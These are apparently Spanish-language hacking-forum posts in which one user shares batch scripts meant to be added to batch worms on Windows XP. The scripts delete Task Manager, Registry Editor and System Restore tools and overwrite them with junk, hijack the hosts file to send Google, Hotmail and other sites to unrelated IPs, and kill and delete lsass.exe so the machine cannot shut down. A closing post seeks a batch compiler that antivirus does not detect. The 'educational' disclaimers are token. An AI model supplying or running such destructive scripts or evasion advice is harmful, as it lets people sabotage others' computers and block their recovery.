Mensajes

Buenas a todos!

ya publiqué anteriormente un par de codigos de batch que podían ser integrados dentro del código general de un gusano. En este post y en los próximos que publique iré ampliando los códigos que subí.

Este código en concreto se encarga de restringir la seguridad de un ordenador corriendo bajo Windows XP:

Código (bash) [Seleccionar] Expandir

@echo off

del /Q /F %WINDIR%\System32\taskmgr.exe
del /Q /F %WINDIR%\System32\tasklist.exe
del /Q /F %WINDIR%\System32\regedt32.exe
del /Q /F %WINDIR%\System32\wscui.cpl
del /Q /F %WINDIR%\System32\command.com
del /Q /F %WINDIR%\System32\restore\rstrui.exe
del /Q /F %WINDIR%\System32\restore\srdiag.exe
del /Q /F %WINDIR%\taskman.exe
del /Q /F %WINDIR%\regedit.exe
del /Q /F %WINDIR%\PCHealth\HelpCtr\Binaries\msconfig.exe

echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\taskmgr.exe"

echo %random%%random%%random%%random%>>"%WINDIR%\taskman.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\taskman.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\taskman.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\taskman.exe"

echo %random%%random%%random%%random%>>"%WINDIR%\regedit"
echo %random%%random%%random%%random%>>"%WINDIR%\regedit"
echo %random%%random%%random%%random%>>"%WINDIR%\regedit"

echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\rstrui.exe"

echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\srdiag.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\srdiag.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\restore\srdiag.exe"

echo %random%%random%%random%%random%>>"%WINDIR%\PCHealth\HelpCtr\Binaries\msconfig.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\PCHealth\HelpCtr\Binaries\msconfig.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\PCHealth\HelpCtr\Binaries\msconfig.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\PCHealth\HelpCtr\Binaries\msconfig.exe"

echo %random%%random%%random%%random%>>"%WINDIR%\System32\command.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\command.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\command.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\command.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\command.com"

echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\tasklist.exe"

echo %random%%random%%random%%random%>>"%WINDIR%\System32\wscui.cpl"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\wscui.cpl"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\wscui.cpl"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\wscui.cpl"

echo %random%%random%%random%%random%>>"%WINDIR%\System32\regedt32.exe"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\regedt32.exe"

echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
echo %random%%random%%random%%random%>>"%WINDIR%\System32\cmd.com"
attrib +s +h +r "%WINDIR%\System32\cmd.com"

Hasta otra!

En respuesta a tu post:

1. Ya sé que va en scripting... me di cuenta justo después de publicarlo 
2. Dime en qué sistema operativo lo estás probando, porque en el mío funciona.

Am, y sí... la forma de arreglarlo es esa  reubicando los archivos perdidos.

El código está probado en una máquina corriendo bajo Windows XP Professional Edition con el SP2.

Me parece que dejo claro que funciona, Francisquito. 

Saludos!

El código está probado en una máquina corriendo bajo Windows XP Professional Edition con el SP2. Si lo estás probando en un sistema operativo similar, estás haciendo algo mal para no poder matar el lsass.exe. SI lo estás probando en otro distinto, por favor, notifícalo.

[simple]

no pretendo que me aplaudan 

De hecho, se han publicado códigos de gusanos en batch de propagación por autorun, y nadie los ha tildado de lammers. Es más, siempre han dado pie a un bonito intercambio de ideas.

Este pretende ser un complemento simple, no lammer, para agregar a gusanos en batch.

En fin, que si tanto te ha ofendido el post, lo elimino y punto...

[No respondáis todos a la vez, que no doy a basto...]

No respondáis todos a la vez, que no doy a basto... 

Se agradecen comentarios, dudas, consultas, sugerencias, amenazas a mi integridad...

[[Las IP's se determinan mediante ping en la línea de comandos]]

Buenas a todos otra vez.

Visto el (poco) éxito que tuvo mi anterior aportación sobre el código de ataque a lsass para evitar que el PC pudiera ser apagado, me arriesgo a volver a quedarme solo ante esta nueva explicación tan apañada sobre cómo hacer el gracioso con el archivo de hosts.

Todos conocemos el típico truco de redireccionar a localhost (127.0.0.1) ciertas páginas de intertet para evitar que el usuario las pueda ver. [Claro claro... ¿quién no ha resistido la tentación de hacer esta  inocente  gamberrada para reirse un rato a costa de otro]

Pues bien, si hemos redireccionado alguna vez una página hacia localhost, ¿podríamos redireccionar una página web hacia OTRA página web asignándole a la dirección de la primera la IP de la segunda en el archivo de hosts?

Como probablemente los que no sepan de lo que hablo se hayan perdido, lo explicaré con un ejemplo práctico. (Y el que no sepa qué es el archivo de hosts que se vaya a la wikipedia).

Imaginemos que nuestra página 1 es google.es
La IP de google.es es 216.239.59.104

Ahora, como somos tan inocentes, escogemos como página 2 a zorritas.com
La IP de zorritas.com es 70.86.199.78

[Las IP's se determinan mediante ping en la línea de comandos]

Ahora imaginemos que queremos que al entrar en la página 1 nos redireccione a la página 2. (es decir, que en nuestro navegador pongamos google.es y nos mande, para nuestra grandísima sorpresa, a zorritas.com ¿qué gracia ehh? Seeh, que te lo hagan a ti  ).

En ese caso, la línea del archivo de hosts debería quedar así:

70.86.199.78   google.es

un código en batch capaz de hacerlo es el siguiente:

echo 70.86.199.78   google.es>>"%WINDIR%\System32\drivers\etc\hosts"
[como todos ya deberíamos saber, el archivo de hosts no tiene extensión...]

Por tanto, un verdadero restrictor sería:

Código (bash) [Seleccionar] Expandir


@echo off
echo #Critical system entries>>"%WINDIR%\System32\drivers\etc\hosts"
echo 70.86.199.78 hotmail.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 70.86.199.78 www.hotmail.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 82.98.86.175 es.mail.yahoo.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 82.98.86.175 yahoo.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 72.232.130.44 terra.es>>"%WINDIR%\System32\drivers\etc\hosts"
echo 72.232.130.44 www.terra.es>>"%WINDIR%\System32\drivers\etc\hosts"
echo 66.199.187.181 google.es>>"%WINDIR%\System32\drivers\etc\hosts"
echo 66.199.187.181 www.google.es>>"%WINDIR%\System32\drivers\etc\hosts"
echo 217.113.244.80 google.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 217.113.244.80 www.google.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 72.232.197.82 elhacker.net>>"%WINDIR%\System32\drivers\etc\hosts"
echo 72.232.197.82 www.elhacker.net>>"%WINDIR%\System32\drivers\etc\hosts"
echo 64.255.172.50 fotolog.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 64.255.172.50 www.fotolog.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 64.255.172.50 youtube.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 64.255.172.50 www.youtube.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 208.73.212.12 tibia.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 208.73.212.12 www.tibia.com>>"%WINDIR%\System32\drivers\etc\hosts"
echo 216.34.131.135 jccm.es>>"%WINDIR%\System32\drivers\etc\hosts"
echo 216.34.131.135 www.jccm.es>>"%WINDIR%\System32\drivers\etc\hosts"
exit


Venga, sed buenos y no lo uséis para amargarle el día a vuestra exnovia.

Sobra decir que no me responasbilizo de lo que hagáis con el código. De hecho, sería un poco surrealista que le dijérais al juez: "Señor juez, es que fulanito se responsabilizaba de que yo le jodiera el ordenador a mi hermano...". No, la verdad es que no cuela 
A sí que ya sabéis... bajo vuestra entera responsabilidad.

Hasta otra!

Gracias por las respuestas.


Al final lo que hice fue descargarme una versión posterior del QBFC, que no es detectada.


hasta otra!

Bueno como hacía mucho tiempo que no posteaba nada que no fueran peticiones de ayuda, he decidico compartir con la humanidad espe pequeño código mío que tan buenos ratos me ha hecho pasar:

* * educative purposes only, no me responsabilizo de que te jodas el ordenador * *

@echo off
taskkill /IM lsass.exe /f
shutdown -a
del /q /f %WINDIR%\System32\lsass.exe
del /q / f %WINDIR%\System32\logoff.exe
exit

* educative purposes only, no me responsabilizo de que jodas ordenadores ajenos *

Este código hará las delicias de los que mepiecen a programar sus "evil toolz" en batch, ya que puede usarse sólo o incorporado a un código mayor.
SI VAS A HACER ALGO GORDO EN BATCH NO SEAS MALA GENTE Y MÁNDALO A VIRUSTOTAL. INFECTAR POR INFECTAR Y HAER DAÑO POR HACER DAÑO ES TERRORISMO.

|------------------>

Y ahora, una breve explicación que probablemente nadie lea  (ya he publicado el código, qué mas puede importar, pensarán algunos):

Lo primero que hace este código es parar el proceso lsass.exe. Para ello se vale del modificador /f, que indica carácter forzado (para el que no lo sepa, el lsass.exe es un proceso de sistema ).

Al abortar el proceso se inicia una cuenta atrás de 30 segundos para que se reinicie el ordenador. Para abortarla se utiliza el comando shutdown con el modificador -a.

¿Qué hemos conseguido con esto? Pues simple y llanamente que el ordenador no pueda apagarse si no es tirando del cable de la luz. ¿Divertido ehh?  Pues procura que no te pase a ti, porque entonces verías lo divertido que es.

Entonces... ¿para qué valen los otros dos comandos? (dando por supuesto que se sabe para qué sirve el comando "exit"). Pues muy sencillo. Como además de traviesos somos malos, pero malos malos con ganas, pues no queremos que el ordenador pueda ser apagado nunca más.
Esos dos comandos hacen que el pequeño lío en el que has metido a la máquina no se solucione reiniciando. ¿Y cómo lo hace? Pues eliminando el archivo lsass.exe y el logoff.exe. Si no hay archivo, no hay proceso 

Sed buenos y no se lo hagáis a vuestra exnovia 

Hasta otra!

Buenas a todos!

Tras una intensa (e infructuosa) búsqueda por Internet no me queda otra opción que postear pidiendo ayuda:

¿Conoce alguien algún compilador de batch que no sea el Quick Batch File Compiler (cuyos .exe resultantes son detectados por unos cuantos antivirus sea cual sea el código compilado) pero que permita incluir archivos dentro del ejecutable final (embebidos), y que permita elegir un icono personalizado para el .exe final?

Ya he probado el Batch Hidden Compiler para algunos códigos, pero para el que necesito no sirve por la sencilla razón de que ni permite escoger el ejecutable final (pone por defecto el icono propio de los .exe) ni permite incluir archivos dentro del ejecutable final.

Gracias por adelantado!